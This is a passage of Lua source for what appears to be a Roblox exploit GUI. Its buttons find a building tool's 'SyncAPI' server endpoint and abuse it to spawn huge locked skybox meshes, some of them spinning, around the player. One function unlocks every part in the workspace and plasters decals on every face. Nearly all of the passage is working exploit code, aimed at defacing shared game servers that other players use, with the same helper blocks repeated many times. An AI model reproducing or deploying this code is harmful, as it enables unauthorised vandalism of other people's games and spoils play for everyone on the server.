["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("73916685652770")
end)
end
task.spawn(SCRIPT_26)
-- // StarterGui.ScreenGui.ImageLabel.Script.SkyBox 3.LocalScript \\ --
local function SCRIPT_28()
local script = UI["28"]
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("127295578140184")
end)
end
task.spawn(SCRIPT_28)
-- // StarterGui.ScreenGui.ImageLabel.Script.SkyBox 4.LocalScript \\ --
local function SCRIPT_2a()
local script = UI["2a"]
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function Sky(id)
e = char.HumanoidRootPart.CFrame.x
f = char.HumanoidRootPart.CFrame.y
g = char.HumanoidRootPart.CFrame.z
CreatePart(CFrame.new(math.floor(e),math.floor(f),math.floor(g)) + Vector3.new(0,6,0),workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
--spawn(function()
SetName(v,"Sky")
AddMesh(v)
--end)
--spawn(function()
SetMesh(v,"8006679977")
SetTexture(v,id)
--end)
MeshResize(v,Vector3.new(50,50,50))
SetLocked(v,true)
end
end
end
Sky("108449640067150")
end)
end
task.spawn(SCRIPT_2a)
-- // StarterGui.ScreenGui.ImageLabel.Script.SkyBox Rotate.LocalScript \\ --
local function SCRIPT_2c()
local script = UI["2c"]
local player = game.Players.LocalPlayer
local RunService = game:GetService("RunService")
local tool = script.Parent
local function getRemote()
if tool and tool:FindFirstChild("SyncAPI") then
return tool.SyncAPI.ServerEndpoint
end
for _, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
return v.Parent.SyncAPI.ServerEndpoint
end
end
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
return v.Parent.SyncAPI.ServerEndpoint
end
end
return nil
end
function _(args)
local remote = getRemote()
if remote then
remote:InvokeServer(unpack(args))
end
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function Sky(id)
local char = player.Character
local currentRoot = char and char:FindFirstChild("HumanoidRootPart")
if not currentRoot then return end
local spawnPos = currentRoot.CFrame + Vector3.new(0, 6, 0)
CreatePart(spawnPos, workspace)
task.wait(0.2)
local skyPart
for _, v in workspace:GetChildren() do
if v:IsA("BasePart") and (v.Position - spawnPos.Position).magnitude < 5 then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "PersistentSmoothCrazySkybox")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
local rx, ry, rz = 0, 0, 0
RunService.RenderStepped:Connect(function(dt)
if skyPart and skyPart.Parent then
rx = rx + (1.2 * dt)
ry = ry + (1.8 * dt)
rz = rz + (1.0 * dt)
local smoothCF = CFrame.new(spawnPos.Position) * CFrame.Angles(rx, ry, rz)
MovePart(skyPart, smoothCF)
end
end)
end
end
tool.Activated:Connect(function()
Sky("96073597459340")
end)
end
task.spawn(SCRIPT_2c)
-- // StarterGui.ScreenGui.ImageLabel.Script.SkyBox Rotate 2.LocalScript \\ --
local function SCRIPT_2e()
local script = UI["2e"]
local player = game.Players.LocalPlayer
local RunService = game:GetService("RunService")
local tool = script.Parent
local function getRemote()
if tool and tool:FindFirstChild("SyncAPI") then
return tool.SyncAPI.ServerEndpoint
end
for _, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
return v.Parent.SyncAPI.ServerEndpoint
end
end
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
return v.Parent.SyncAPI.ServerEndpoint
end
end
return nil
end
function _(args)
local remote = getRemote()
if remote then
remote:InvokeServer(unpack(args))
end
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function Sky(id)
local char = player.Character
local currentRoot = char and char:FindFirstChild("HumanoidRootPart")
if not currentRoot then return end
local spawnPos = currentRoot.CFrame + Vector3.new(0, 6, 0)
CreatePart(spawnPos, workspace)
task.wait(0.2)
local skyPart
for _, v in workspace:GetChildren() do
if v:IsA("BasePart") and (v.Position - spawnPos.Position).magnitude < 5 then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "PersistentSmoothCrazySkybox")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
local rx, ry, rz = 0, 0, 0
RunService.RenderStepped:Connect(function(dt)
if skyPart and skyPart.Parent then
rx = rx + (1.2 * dt)
ry = ry + (1.8 * dt)
rz = rz + (1.0 * dt)
local smoothCF = CFrame.new(spawnPos.Position) * CFrame.Angles(rx, ry, rz)
MovePart(skyPart, smoothCF)
end
end)
end
end
tool.Activated:Connect(function()
Sky("97661894122632")
end)
end
task.spawn(SCRIPT_2e)
-- // StarterGui.ScreenGui.ImageLabel.Script.SkyBox Rotate 3.LocalScript \\ --
local function SCRIPT_30()
local script = UI["30"]
local player = game.Players.LocalPlayer
local RunService = game:GetService("RunService")
local tool = script.Parent
local function getRemote()
if tool and tool:FindFirstChild("SyncAPI") then
return tool.SyncAPI.ServerEndpoint
end
for _, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
return v.Parent.SyncAPI.ServerEndpoint
end
end
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
return v.Parent.SyncAPI.ServerEndpoint
end
end
return nil
end
function _(args)
local remote = getRemote()
if remote then
remote:InvokeServer(unpack(args))
end
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function Sky(id)
local char = player.Character
local currentRoot = char and char:FindFirstChild("HumanoidRootPart")
if not currentRoot then return end
local spawnPos = currentRoot.CFrame + Vector3.new(0, 6, 0)
CreatePart(spawnPos, workspace)
task.wait(0.2)
local skyPart
for _, v in workspace:GetChildren() do
if v:IsA("BasePart") and (v.Position - spawnPos.Position).magnitude < 5 then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "PersistentSmoothCrazySkybox")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
local rx, ry, rz = 0, 0, 0
RunService.RenderStepped:Connect(function(dt)
if skyPart and skyPart.Parent then
rx = rx + (1.2 * dt)
ry = ry + (1.8 * dt)
rz = rz + (1.0 * dt)
local smoothCF = CFrame.new(spawnPos.Position) * CFrame.Angles(rx, ry, rz)
MovePart(skyPart, smoothCF)
end
end)
end
end
tool.Activated:Connect(function()
Sky("131034375217479")
end)
end
task.spawn(SCRIPT_30)
-- // StarterGui.ScreenGui.ImageLabel.Script.SkyBox Rotate 4.LocalScript \\ --
local function SCRIPT_32()
local script = UI["32"]
local player = game.Players.LocalPlayer
local RunService = game:GetService("RunService")
local tool = script.Parent
local function getRemote()
if tool and tool:FindFirstChild("SyncAPI") then
return tool.SyncAPI.ServerEndpoint
end
for _, v in player:GetDescendants() do
if v.Name == "SyncAPI" then
return v.Parent.SyncAPI.ServerEndpoint
end
end
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
return v.Parent.SyncAPI.ServerEndpoint
end
end
return nil
end
function _(args)
local remote = getRemote()
if remote then
remote:InvokeServer(unpack(args))
end
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function Sky(id)
local char = player.Character
local currentRoot = char and char:FindFirstChild("HumanoidRootPart")
if not currentRoot then return end
local spawnPos = currentRoot.CFrame + Vector3.new(0, 6, 0)
CreatePart(spawnPos, workspace)
task.wait(0.2)
local skyPart
for _, v in workspace:GetChildren() do
if v:IsA("BasePart") and (v.Position - spawnPos.Position).magnitude < 5 then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "PersistentSmoothCrazySkybox")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(1000, 1000, 1000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
local rx, ry, rz = 0, 0, 0
RunService.RenderStepped:Connect(function(dt)
if skyPart and skyPart.Parent then
rx = rx + (1.2 * dt)
ry = ry + (1.8 * dt)
rz = rz + (1.0 * dt)
local smoothCF = CFrame.new(spawnPos.Position) * CFrame.Angles(rx, ry, rz)
MovePart(skyPart, smoothCF)
end
end)
end
end
tool.Activated:Connect(function()
Sky("73916685652770")
end)
end
task.spawn(SCRIPT_32)
-- // StarterGui.ScreenGui.ImageLabel.Script.TextButton.LocalScript \\ --
local function SCRIPT_34()
local script = UI["34"]
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("97661894122632")
end)
end
task.spawn(SCRIPT_34)
-- // StarterGui.ScreenGui.ImageLabel.Script.TextButton.LocalScript \\ --
local function SCRIPT_36()
local script = UI["36"]
script.Parent.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
